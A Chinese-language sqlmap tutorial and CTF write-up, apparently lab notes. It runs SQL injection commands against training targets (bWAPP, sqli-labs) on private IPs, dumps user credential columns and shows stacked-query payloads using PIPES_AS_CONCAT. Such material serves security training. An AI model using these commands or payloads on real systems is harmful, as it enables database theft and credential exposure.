摘要

SQLmap

一:特性

二:直连数据库

三:设定目标

1
2
sqlmap --cookie "csrftoken=8eOKzCbgRE84TPxlPGaQhKZVdcNGFPXTsvB1OGgyyHzuAM1cLAku0dAw5SG1ogH2; security_level=0; PHPSESSID=ehhboecc5qdr1e77lp2ipjsv40" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" -f --banner --dbs --users

四:通过level设定检测深度

通过–level参数,加大探测深度。(例如:User-Agent注入)

1
2
3
sqlmap --cookie "security_level=0; PHPSESSID=7q9ch1dgdqu6ttvuf22bahqeo4" 
-u "http://192.168.149.136:88/sqli_17.php" -f --banner --dbs --users
--level 3

五:-g选项

六:risk和level选项

不加参数,直接退出

1
sqlmap -u "http://192.168.149.136:86/Less-31/"

加入参数

1
sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --risk 3 --level 5

七:–privileges –is-dba

–privileges 获取用户所具有的权限

1
sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --privileges

–is-dba判断当前的用户是否是dba

1
sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --is-dba

八:–file-read –file-write –file-dest

九:–os -cmd –shell

十:sqlmap实战

1
2
3
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3

1
2
3
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3
-dbs

-D指定数据库,-tables查看数据库的表信息

1
2
3
4
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7"
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3 -dbs
-D bWAPP -tables

-T指定表名,

1
2
3
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3 -dbs
-D bWAPP -tables -T users --columns
1
2
3
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3 -dbs
-D bWAPP -tables -T users --columns -C login,password

脱库

1
2
3
4
sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" 
-u "http://192.168.149.136:88/sqli_2.php?movie=1&action=go" --level 3 -dbs
-D bWAPP -tables -T users --columns -C login,password -dump-all

十一:sqlmap对于POST参数的注入

1
sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"
1
sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms

十二:注入实战||

参数无论我们输入数字什么都只会回显Array([0]= > 1)​,输入字母不会显,但是也没显示是过滤的,所以query​的值如果为非数字则无法正确查询得到数据回显,那么查询语句就应该长这样

1
$sql = "select ".$post['query']."||flag from Flag";

思路一:

||在SQL语句中表示或,在查询表中的字段内容时,逗号,用于查询多个字段名

1
payload=*,1

思路二:

通过修改SQL配置将或运算符||设置为连接符

1
set sql_mode=PIPES_AS_CONCAT;
1
1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接完成的语句为:

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;